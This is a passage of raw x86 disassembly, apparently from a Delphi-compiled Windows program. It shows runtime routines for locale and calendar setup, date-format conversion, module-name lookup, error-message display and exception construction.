edi mov [ebp+var_4], ecx mov edi, edx mov esi, eax mov ebx, [ebp+arg_0] push ebx mov eax, [ebp+arg_8] mov eax, [eax-4] xor ecx, ecx mov edx, esi call sub_4000A868 cmp dword ptr [ebx], 0 jnz short loc_4000A913 mov eax, [ebp+var_4] mov eax, [eax+edi*4] mov edx, ebx call sub_400062F0 loc_4000A913: ; CODE XREF: sub_4000A8E0+24j pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_4000A8E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000A91C proc near ; CODE XREF: sub_4000BE64+23p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi xor eax, eax push ebp push offset loc_4000AA2F push dword ptr fs:[eax] mov fs:[eax], esp call sub_400065C8 ; GetThreadLocale mov [ebp+var_4], eax mov ebx, 1 mov esi, offset dword_4001E830 mov edi, offset dword_4001E860 loc_4000A94F: ; CODE XREF: sub_4000A91C+83j push ebp push 0Bh lea eax, [ebp+var_C] push eax mov ecx, offset off_4001A884 mov edx, ebx dec edx lea eax, [ebx+44h] dec eax call sub_4000A8E0 pop ecx mov edx, [ebp+var_C] mov eax, esi call sub_400048D8 push ebp push 0Bh lea eax, [ebp+var_10] push eax mov ecx, offset off_4001A8B4 mov edx, ebx dec edx lea eax, [ebx+38h] dec eax call sub_4000A8E0 pop ecx mov edx, [ebp+var_10] mov eax, edi call sub_400048D8 inc ebx add edi, 4 add esi, 4 cmp ebx, 0Dh jnz short loc_4000A94F mov ebx, 1 mov esi, offset dword_4001E890 mov edi, offset dword_4001E8AC loc_4000A9B0: ; CODE XREF: sub_4000A91C+F6j lea eax, [ebx+5] mov ecx, 7 cdq idiv ecx mov [ebp+var_8], edx push ebp push 6 lea eax, [ebp+var_14] push eax mov ecx, offset off_4001A8E4 mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 31h call sub_4000A8E0 pop ecx mov edx, [ebp+var_14] mov eax, esi call sub_400048D8 push ebp push 6 lea eax, [ebp+var_18] push eax mov ecx, offset off_4001A900 mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 2Ah call sub_4000A8E0 pop ecx mov edx, [ebp+var_18] mov eax, edi call sub_400048D8 inc ebx add edi, 4 add esi, 4 cmp ebx, 8 jnz short loc_4000A9B0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000AA36 loc_4000AA21: ; CODE XREF: sub_4000A91C+118j lea eax, [ebp+var_18] mov edx, 4 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_4000AA2F: ; DATA XREF: sub_4000A91C+11o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000AA21 ; --------------------------------------------------------------------------- loc_4000AA36: ; CODE XREF: sub_4000A91C+112j ; DATA XREF: sub_4000A91C+100o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4000A91C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000AA40 proc near ; DATA XREF: sub_4000AAF4+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi xor esi, esi mov ebx, 1 jmp short loc_4000AA54 ; --------------------------------------------------------------------------- loc_4000AA4E: ; CODE XREF: sub_4000AA40+1Cj cmp ebx, 7 jz short loc_4000AA72 inc ebx loc_4000AA54: ; CODE XREF: sub_4000AA40+Cj cmp ds:dword_4001E8D4[ebx*4], 0 jnz short loc_4000AA4E lea eax, dword_4001E8D4[ebx*4] mov edx, [ebp+arg_0] call sub_40004A7C mov esi, 1 loc_4000AA72: ; CODE XREF: sub_4000AA40+11j mov eax, esi pop esi pop ebx pop ebp retn 4 sub_4000AA40 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000AA7C proc near ; DATA XREF: sub_4000AAF4+77o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push ebx push esi xor eax, eax push ebp push offset loc_4000AAE1 push dword ptr fs:[eax] mov fs:[eax], esp xor esi, esi mov ebx, 1 jmp short loc_4000AAA0 ; --------------------------------------------------------------------------- loc_4000AA9A: ; CODE XREF: sub_4000AA7C+2Cj cmp ebx, 7 jz short loc_4000AACB inc ebx loc_4000AAA0: ; CODE XREF: sub_4000AA7C+1Cj cmp ds:dword_4001E8F0[ebx*4], 0FFFFFFFFh jnz short loc_4000AA9A lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_40004A7C mov eax, [ebp+var_4] xor edx, edx call sub_40007DD4 mov ds:dword_4001E8F0[ebx*4], eax mov esi, 1 loc_4000AACB: ; CODE XREF: sub_4000AA7C+21j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000AAE8 loc_4000AAD8: ; CODE XREF: sub_4000AA7C+6Aj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000AAE1: ; DATA XREF: sub_4000AA7C+Ao jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000AAD8 ; --------------------------------------------------------------------------- loc_4000AAE8: ; CODE XREF: sub_4000AA7C+64j ; DATA XREF: sub_4000AA7C+57o mov eax, esi pop esi pop ebx pop ecx pop ebp retn 4 sub_4000AA7C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000AAF4 proc near ; CODE XREF: sub_4000BE64+31p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push esi xor eax, eax push ebp push offset loc_4000AB8B push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax call sub_400065C8 ; GetThreadLocale mov ecx, offset dword_4000ABA0 mov edx, 100Bh call sub_4000A868 mov eax, [ebp+var_4] mov edx, 1 call sub_40007DD4 mov esi, eax mov eax, esi add eax, 0FFFFFFFDh sub eax, 3 jnb short loc_4000AB75 push 4 push esi call sub_400065C8 ; GetThreadLocale push eax push offset sub_4000AA40 call sub_40006528 ; EnumCalendarInfoA mov edx, 7 mov eax, offset dword_4001E8F4 loc_4000AB56: ; CODE XREF: sub_4000AAF4+6Cj mov dword ptr [eax], 0FFFFFFFFh add eax, 4 dec edx jnz short loc_4000AB56 push 3 push esi call sub_400065C8 ; GetThreadLocale push eax push offset sub_4000AA7C call sub_40006528 ; EnumCalendarInfoA loc_4000AB75: ; CODE XREF: sub_4000AAF4+43j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000AB92 loc_4000AB82: ; CODE XREF: sub_4000AAF4+9Cj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000AB8B: ; DATA XREF: sub_4000AAF4+9o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000AB82 ; --------------------------------------------------------------------------- loc_4000AB92: ; CODE XREF: sub_4000AAF4+96j ; DATA XREF: sub_4000AAF4+89o pop esi pop ecx pop ebp retn sub_4000AAF4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_4000ABA0 dd 31h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000ABA4 proc near ; CODE XREF: sub_4000BE64+11Cp ; sub_4000BE64+149p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov edi, edx mov esi, eax xor eax, eax push ebp push offset loc_4000AD74 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, 1 mov eax, edi call sub_40004884 lea eax, [ebp+var_8] push eax call sub_400065C8 ; GetThreadLocale mov ecx, offset dword_4000AD8C mov edx, 1009h call sub_4000A868 mov eax, [ebp+var_8] mov edx, 1 call sub_40007DD4 add eax, 0FFFFFFFDh sub eax, 3 jb loc_4000AD4A mov eax, ds:dword_4001E8CC sub eax, 4 jz short loc_4000AC16 add eax, 0FFFFFFF3h sub eax, 2 jb short loc_4000AC16 xor eax, eax jmp short loc_4000AC18 ; --------------------------------------------------------------------------- loc_4000AC16: ; CODE XREF: sub_4000ABA4+64j ; sub_4000ABA4+6Cj mov al, 1 loc_4000AC18: ; CODE XREF: sub_4000ABA4+70j test al, al jz short loc_4000AC53 jmp short loc_4000AC43 ; --------------------------------------------------------------------------- loc_4000AC1E: ; CODE XREF: sub_4000ABA4+A8j movzx eax, byte ptr [esi+ebx-1] sub al, 47h jz short loc_4000AC42 sub al, 20h jz short loc_4000AC42 lea eax, [ebp+var_C] movzx edx, byte ptr [esi+ebx-1] call sub_40004A6C mov edx, [ebp+var_C] mov eax, edi call sub_40004B50 loc_4000AC42: ; CODE XREF: sub_4000ABA4+81j ; sub_4000ABA4+85j inc ebx loc_4000AC43: ; CODE XREF: sub_4000ABA4+78j mov eax, esi call sub_40004B44 cmp ebx, eax jle short loc_4000AC1E jmp loc_4000AD59 ; --------------------------------------------------------------------------- loc_4000AC53: ; CODE XREF: sub_4000ABA4+76j mov eax, edi mov edx, esi call sub_400048D8 jmp loc_4000AD59 ; --------------------------------------------------------------------------- loc_4000AC61: ; CODE XREF: sub_4000ABA4+1AFj movzx eax, byte ptr [esi+ebx-1] movzx eax, al bt dword_4001A82C, eax jnb short loc_4000ACA0 mov edx, ebx mov eax, esi call sub_4000BB88 mov [ebp+var_4], eax lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_4] mov edx, ebx mov eax, esi call sub_40004DA8 mov edx, [ebp+var_10] mov eax, edi call sub_40004B50 add ebx, [ebp+var_4] jmp loc_4000AD4A ; --------------------------------------------------------------------------- loc_4000ACA0: ; CODE XREF: sub_4000ABA4+CCj mov edx, offset dword_4000AD90 lea eax, [esi+ebx-1] mov ecx, 2 call sub_400081E0 test eax, eax jnz short loc_4000ACC9 mov eax, edi mov edx, offset dword_4000AD9C call sub_40004B50 inc ebx jmp loc_4000AD49 ; --------------------------------------------------------------------------- loc_4000ACC9: ; CODE XREF: sub_4000ABA4+111j mov edx, offset aYyyy_0 ; "yyyy" lea eax, [esi+ebx-1] mov ecx, 4 call sub_400081E0 test eax, eax jnz short loc_4000ACF1 mov eax, edi mov edx, offset aEeee ; "eeee" call sub_40004B50 add ebx, 3 jmp short loc_4000AD49 ; --------------------------------------------------------------------------- loc_4000ACF1: ; CODE XREF: sub_4000ABA4+13Aj mov edx, offset aYy ; "yy" lea eax, [esi+ebx-1] mov ecx, 2 call sub_400081E0 test eax, eax jnz short loc_4000AD17 mov eax, edi mov edx, offset dword_4000ADC4 call sub_40004B50 inc ebx jmp short loc_4000AD49 ; --------------------------------------------------------------------------- loc_4000AD17: ; CODE XREF: sub_4000ABA4+162j movzx eax, byte ptr [esi+ebx-1] sub al, 59h jz short loc_4000AD24 sub al, 20h jnz short loc_4000AD32 loc_4000AD24: ; CODE XREF: sub_4000ABA4+17Aj mov eax, edi mov edx, offset dword_4000ADD0 call sub_40004B50 jmp short loc_4000AD49 ; --------------------------------------------------------------------------- loc_4000AD32: ; CODE XREF: sub_4000ABA4+17Ej lea eax, [ebp+var_14] movzx edx, byte ptr [esi+ebx-1] call sub_40004A6C mov edx, [ebp+var_14] mov eax, edi call sub_40004B50 loc_4000AD49: ; CODE XREF: sub_4000ABA4+120j ; sub_4000ABA4+14Bj ... inc ebx loc_4000AD4A: ; CODE XREF: sub_4000ABA4+56j ; sub_4000ABA4+F7j mov eax, esi call sub_40004B44 cmp ebx, eax jle loc_4000AC61 loc_4000AD59: ; CODE XREF: sub_4000ABA4+AAj ; sub_4000ABA4+B8j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000AD7B loc_4000AD66: ; CODE XREF: sub_4000ABA4+1D5j lea eax, [ebp+var_14] mov edx, 4 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_4000AD74: ; DATA XREF: sub_4000ABA4+14o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000AD66 ; --------------------------------------------------------------------------- loc_4000AD7B: ; CODE XREF: sub_4000ABA4+1CFj ; DATA XREF: sub_4000ABA4+1BDo pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4000ABA4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_4000AD8C dd 31h dword_4000AD90 dd 6767h, 0FFFFFFFFh, 3dword_4000AD9C dd 676767h aYyyy_0 db 'yyyy',0 ; DATA XREF: sub_4000ABA4:loc_4000ACC9o align 4 dd 0FFFFFFFFh, 4 aEeee db 'eeee',0 ; DATA XREF: sub_4000ABA4+13Eo align 4 aYy db 'yy',0 ; DATA XREF: sub_4000ABA4:loc_4000ACF1o align 4 dd 0FFFFFFFFh, 2 dword_4000ADC4 dd 6565h, 0FFFFFFFFh, 1dword_4000ADD0 dd 65h ; =============== S U B R O U T I N E ======================================= sub_4000ADD4 proc near ; CODE XREF: sub_4000ADE0+63p test eax, eax jz short locret_4000ADDD sub eax, 1000h locret_4000ADDD: ; CODE XREF: sub_4000ADD4+2j retn sub_4000ADD4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000ADE0 proc near ; CODE XREF: sub_4000AF68+Fp var_458 = byte ptr -458h var_358 = dword ptr -358h var_354 = byte ptr -354h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_348 = dword ptr -348h var_344 = byte ptr -344h var_340 = dword ptr -340h var_33C = byte ptr -33Ch var_338 = dword ptr -338h var_334 = byte ptr -334h var_330 = byte ptr -330h var_32C = dword ptr -32Ch var_320 = dword ptr -320h var_312 = byte ptr -312h var_212 = byte ptr -212h var_10D = byte ptr -10Dh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFBA8h push ebx push esi push edi mov [ebp+var_4], ecx mov ebx, edx mov esi, eax push 1Ch lea eax, [ebp+var_330] push eax push ebx call sub_40006648 ; VirtualQuery cmp [ebp+var_320], 1000h jnz short loc_4000AE2A push 105h lea eax, [ebp+var_212] push eax mov eax, [ebp+var_32C] push eax call sub_40006598 ; GetModuleFileNameA test eax, eax jnz short loc_4000AE4D loc_4000AE2A: ; CODE XREF: sub_4000ADE0+2Cj push 105h lea eax, [ebp+var_212] push eax mov eax, ds:dword_4001E7F8 push eax call sub_40006598 ; GetModuleFileNameA mov eax, ebx call sub_4000ADD4 mov [ebp+var_8], eax jmp short loc_4000AE56 ; --------------------------------------------------------------------------- loc_4000AE4D: ; CODE XREF: sub_4000ADE0+48j sub ebx, [ebp+var_32C] mov [ebp+var_8], ebx loc_4000AE56: ; CODE XREF: sub_4000ADE0+6Bj lea eax, [ebp+var_212] mov dl, 5Ch call sub_4000BCD0 mov edx, eax inc edx lea eax, [ebp+var_10D] mov ecx, 104h call sub_40008184 mov ebx, offset dword_4000AF60 mov edi, offset dword_4000AF60 mov eax, esi mov edx, ds:off_40006DE0 call sub_40003E74 test al, al jz short loc_4000AEB2 mov eax, [esi+4] call sub_40004D48 mov ebx, eax mov eax, ebx call sub_4000815C test eax, eax jz short loc_4000AEB2 cmp byte ptr [ebx+eax-1], 2Eh jz short loc_4000AEB2 mov edi, offset dword_4000AF64 loc_4000AEB2: ; CODE XREF: sub_4000ADE0+AFj ; sub_4000ADE0+C4j ... push 100h lea eax, [ebp+var_312] push eax mov eax, off_4001B0B8 mov eax, [eax+4] push eax mov eax, ds:dword_4001E7F8 call sub_40005C08 push eax call sub_40006738 ; LoadStringA lea edx, [ebp+var_458] mov eax, [esi] call sub_40003C6C lea eax, [ebp+var_458] mov [ebp+var_358], eax mov [ebp+var_354], 4 lea eax, [ebp+var_10D] mov [ebp+var_350], eax mov [ebp+var_34C], 6 mov eax, [ebp+var_8] mov [ebp+var_348], eax mov [ebp+var_344], 5 mov [ebp+var_340], ebx mov [ebp+var_33C], 6 mov [ebp+var_338], edi mov [ebp+var_334], 6 lea eax, [ebp+var_358] push eax push 4 lea ecx, [ebp+var_312] mov edx, [ebp+arg_0] mov eax, [ebp+var_4] call sub_4000868C mov eax, [ebp+var_4] call sub_4000815C pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_4000ADE0 endp ; --------------------------------------------------------------------------- align 10h dword_4000AF60 dd 0 ; sub_4000ADE0+9Bo dword_4000AF64 dd 2Eh ; =============== S U B R O U T I N E ======================================= sub_4000AF68 proc near ; CODE XREF: sub_4000B71Cp var_444 = byte ptr -444h var_440 = byte ptr -440h var_400 = byte ptr -400h add esp, 0FFFFFBBCh push 400h lea ecx, [esp+448h+var_400] call sub_4000ADE0 mov eax, off_4001B048 cmp byte ptr [eax], 0 jz short loc_4000AFE4 mov eax, off_4001AF4C call sub_400033D8 call sub_40002D5C lea eax, [esp+444h+var_400] push eax lea eax, [esp+448h+var_400] push eax call sub_40006710 ; CharToOemA push 0 lea eax, [esp+448h+var_444] push eax lea eax, [esp+44Ch+var_400] call sub_4000815C push eax lea eax, [esp+450h+var_400] push eax push 0FFFFFFF4h call sub_400065B0 ; GetStdHandle push eax call sub_40006660 ; WriteFile push 0 lea eax, [esp+448h+var_444] push eax push 2 push offset dword_4000B02C push 0FFFFFFF4h call sub_400065B0 ; GetStdHandle push eax call sub_40006660 ; WriteFile jmp short loc_4000B01A ; --------------------------------------------------------------------------- loc_4000AFE4: ; CODE XREF: sub_4000AF68+1Cj push 40h lea eax, [esp+448h+var_440] push eax mov eax, off_4001AF28 mov eax, [eax+4] push eax mov eax, ds:dword_4001E7F8 call sub_40005C08 push eax call sub_40006738 ; LoadStringA push 2010h lea eax, [esp+448h+var_440] push eax lea eax, [esp+44Ch+var_400] push eax push 0 call sub_40006740 ; MessageBoxA loc_4000B01A: ; CODE XREF: sub_4000AF68+7Aj add esp, 444h retn sub_4000AF68 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_4000B02C dd 0A0Dh ; =============== S U B R O U T I N E ======================================= sub_4000B030 proc near ; CODE XREF: sub_4000B230+32p ; sub_4000B2B0+36p ... push ebx push esi push edi test dl, dl jz short loc_4000B03F add esp, 0FFFFFFF0h call sub_40003F30 loc_4000B03F: ; CODE XREF: sub_4000B030+5j mov esi, ecx mov ebx, edx mov edi, eax lea eax, [edi+4] mov edx, esi call sub_400048D8 mov eax, edi test bl, bl jz short loc_4000B064 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_4000B064: ; CODE XREF: sub_4000B030+23j mov eax, edi pop edi pop esi pop ebx retn sub_4000B030 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000B06C proc near ; CODE XREF: sub_4000B300+77p ; sub_4000B488+127p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push ebx push esi push edi test dl, dl jz short loc_4000B080 add esp, 0FFFFFFF0h call sub_40003F30 loc_4000B080: ; CODE XREF: sub_4000B06C+Aj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_4000B0C6 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] mov eax, esi call sub_400086CC mov edx, [ebp+var_4] lea eax, [edi+4] call sub_400048D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000B0CD loc_4000B0BD: ; CODE XREF: sub_4000B06C+5Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000B0C6: ; DATA XREF: sub_4000B06C+1Do jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000B0BD ; --------------------------------------------------------------------------- loc_4000B0CD: ; CODE XREF: sub_4000B06C+59j ; DATA XREF: sub_4000B06C+4Co mov eax, edi test bl, bl jz short loc_4000B0E2 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_4000B0E2: ; CODE XREF: sub_4000B06C+65j mov eax, edi pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_4000B06C endp ; =============== S U B R O U T I N E ======================================= sub_4000B0EC proc near ; CODE XREF: sub_4000B3D8+Dp ; sub_4000B72C+Dp ... push ebx push esi push edi test dl, dl jz short loc_4000B0FB add esp, 0FFFFFFF0h call sub_40003F30 loc_4000B0FB: ; CODE XREF: sub_4000B0EC+5j mov esi, ecx mov ebx, edx mov edi, eax lea edx, [edi+4] mov eax, esi call sub_400062F0 mov eax, edi test bl, bl jz short loc_4000B120 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_4000B120: ; CODE XREF: sub_4000B0EC+23j mov eax, edi pop edi pop esi pop ebx retn sub_4000B0EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000B128 proc near ; CODE XREF: sub_40007998+14p ; sub_4000B230+51p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push ebx push esi push edi test dl, dl jz short loc_4000B13E add esp, 0FFFFFFF0h call sub_40003F30 loc_4000B13E: ; CODE XREF: sub_4000B128+Cj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_4000B194 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax lea edx, [ebp+var_8] mov eax, esi call sub_400062F0 mov eax, [ebp+var_8] mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] call sub_400086CC mov edx, [ebp+var_4] lea eax, [edi+4] call sub_400048D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000B19B loc_4000B186: ; CODE XREF: sub_4000B128+71j lea eax, [ebp+var_8] mov edx, 2 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_4000B194: ; DATA XREF: sub_4000B128+1Fo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000B186 ; --------------------------------------------------------------------------- loc_4000B19B: ; CODE XREF: sub_4000B128+6Bj ; DATA XREF: sub_4000B128+59o mov eax, edi test bl, bl jz short loc_4000B1B0 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_4000B1B0: ; CODE XREF: sub_4000B128+77j mov eax, edi pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_4000B128 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000B1BC proc near ; CODE XREF: sub_40015EE4+84p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi test dl, dl jz short loc_4000B1CE add esp, 0FFFFFFF0h call sub_40003F30 loc_4000B1CE: ; CODE XREF: sub_4000B1BC+8j mov esi, ecx mov ebx, edx mov edi, eax lea eax, [edi+4] mov edx, esi call sub_400048D8 mov eax, [ebp+arg_0] mov [edi+8], eax mov eax, edi test bl, bl jz short loc_4000B1F9 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_4000B1F9: ; CODE XREF: sub_4000B1BC+2Cj mov eax, edi pop edi pop esi pop ebx pop ebp retn 4 sub_4000B1BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000B204 proc near ; DATA XREF: .text:40006E8Co ; .text:40006EE8o ... cmp byte ptr [eax+0Ch], 0 jz short locret_4000B20F call sub_40003C9C locret_4000B20F: ; CODE XREF: sub_4000B204+4j retn sub_4000B204 endp ; --------------------------------------------------------------------------- off_4000B210 dd offset dword_4000B214 ; DATA XREF: sub_4000CC50+151r dword_4000B214 dd 4554090Eh, 726F7272h, 8636552h, 1000000h db 3 dup(0) dd offset off_40001000 db 4 align 10h ; =============== S U B R O U T I N E ======================================= sub_4000B230 proc near ; CODE XREF: sub_4000B2B0:loc_4000B2EFp var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h xor ebx, ebx call sub_40002DDC mov esi, eax jmp short loc_4000B241 ; --------------------------------------------------------------------------- loc_4000B240: ; CODE XREF: sub_4000B230+1Dj inc ebx loc_4000B241: ; CODE XREF: sub_4000B230+Ej cmp ebx, 6 jg short loc_4000B24F cmp esi, dword_4001A91C[ebx*8] jnz short loc_4000B240 loc_4000B24F: ; CODE XREF: sub_4000B230+14j cmp ebx, 6 jg short loc_4000B269 mov ecx, dword_4001A920[ebx*8] mov dl, 1 mov eax, ds:off_40006F00 call sub_4000B030 jmp short loc_4000B286 ; --------------------------------------------------------------------------- loc_4000B269: ; CODE XREF: sub_4000B230+22j mov [esp+10h+var_10], esi mov [esp+10h+var_C], 0 push esp push 0 mov ecx, off_4001AF24 mov dl, 1 mov eax, ds:off_40006F00 call sub_4000B128 loc_4000B286: ; CODE XREF: sub_4000B230+37j mov [eax+0Ch], esi pop ecx pop edx pop esi pop ebx retn sub_4000B230 endp ; --------------------------------------------------------------------------- align 10h off_4000B290 dd offset dword_4000B294 ; DATA XREF: sub_4000CC50+166r dword_4000B294 dd 45540A0Eh, 70656378h, 63655274h, 8, 1 dd offset off_40001000 dd 4 ; =============== S U B R O U T I N E ======================================= sub_4000B2B0 proc near ; CODE XREF: sub_40002D04+16p ; DATA XREF: sub_4000B72C+33o ... push ebx mov ebx, edx mov edx, eax dec dl jz short loc_4000B2C5 dec dl jz short loc_4000B2CD dec edx sub dl, 16h jb short loc_4000B2D5 jmp short loc_4000B2EF ; --------------------------------------------------------------------------- loc_4000B2C5: ; CODE XREF: sub_4000B2B0+7j mov edx, ds:dword_4001E91C jmp short loc_4000B2F6 ; --------------------------------------------------------------------------- loc_4000B2CD: ; CODE XREF: sub_4000B2B0+Bj mov edx, ds:dword_4001E920 jmp short loc_4000B2F6 ; --------------------------------------------------------------------------- loc_4000B2D5: ; CODE XREF: sub_4000B2B0+11j movzx eax, al lea eax, dword_4001A93C[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_4000B030 mov edx, eax jmp short loc_4000B2F6 ; --------------------------------------------------------------------------- loc_4000B2EF: ; CODE XREF: sub_4000B2B0+13j call sub_4000B230 mov edx, eax loc_4000B2F6: ; CODE XREF: sub_4000B2B0+1Bj ; sub_4000B2B0+23j ... push ebx mov eax, edx jmp sub_400042E4 sub_4000B2B0 endp ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000B300 proc near ; CODE XREF: sub_4000B3BC+3p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+var_4], ebx mov edi, ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_4000B39C push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jz short loc_4000B335 lea eax, [ebp+var_4] mov edx, ebx call sub_4000491C jmp short loc_4000B342 ; --------------------------------------------------------------------------- loc_4000B335: ; CODE XREF: sub_4000B300+27j lea edx, [ebp+var_4] mov eax, off_4001B038 call sub_400062F0 loc_4000B342: ; CODE XREF: sub_4000B300+33j mov eax, [ebp+var_4] mov [ebp+var_1C], eax mov [ebp+var_18], 0Bh mov [ebp+var_14], esi mov [ebp+var_10], 0Bh mov [ebp+var_C], edi mov [ebp+var_8], 0 lea eax, [ebp+var_1C] push eax push 2 lea edx, [ebp+var_20] mov eax, off_4001B06C call sub_400062F0 mov ecx, [ebp+var_20] mov dl, 1 mov eax, ds:off_40007608 call sub_4000B06C mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000B3A3 loc_4000B38B: ; CODE XREF: sub_4000B300+A1j lea eax, [ebp+var_20] call sub_40004884 lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000B39C: ; DATA XREF: sub_4000B300+1Ao jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000B38B ; --------------------------------------------------------------------------- loc_4000B3A3: ; CODE XREF: sub_4000B300+9Bj ; DATA XREF: sub_4000B300+86o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4000B300 endp ; =============== S U B R O U T I N E ======================================= sub_4000B3AC proc near ; CODE XREF: sub_4000B3BC+11p mov esp, ecx mov [esp+0], edx mov ebp, [ebp+0] jmp sub_400042E4 sub_4000B3AC endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000B3BC proc near ; DATA XREF: sub_4000B72C+67o ; .bss:off_4001C024o arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_4000B300 lea ecx, [ebp+arg_0] add ecx, 4 mov edx, [ebp+arg_0] call sub_4000B3AC pop ebp retn 4 sub_4000B3BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000B3D8 proc near ; CODE XREF: sub_400030B4+9p ; DATA XREF: sub_4000B72C+74o ... mov ecx, off_4001AF40 mov dl, 1 mov eax, ds:off_40007668 call sub_4000B0EC call sub_400042E4 retn sub_4000B3D8 endp ; =============== S U B R O U T I N E ======================================= sub_4000B3F0 proc near ; CODE XREF: sub_4000B470+5p ; sub_4000B654+20p 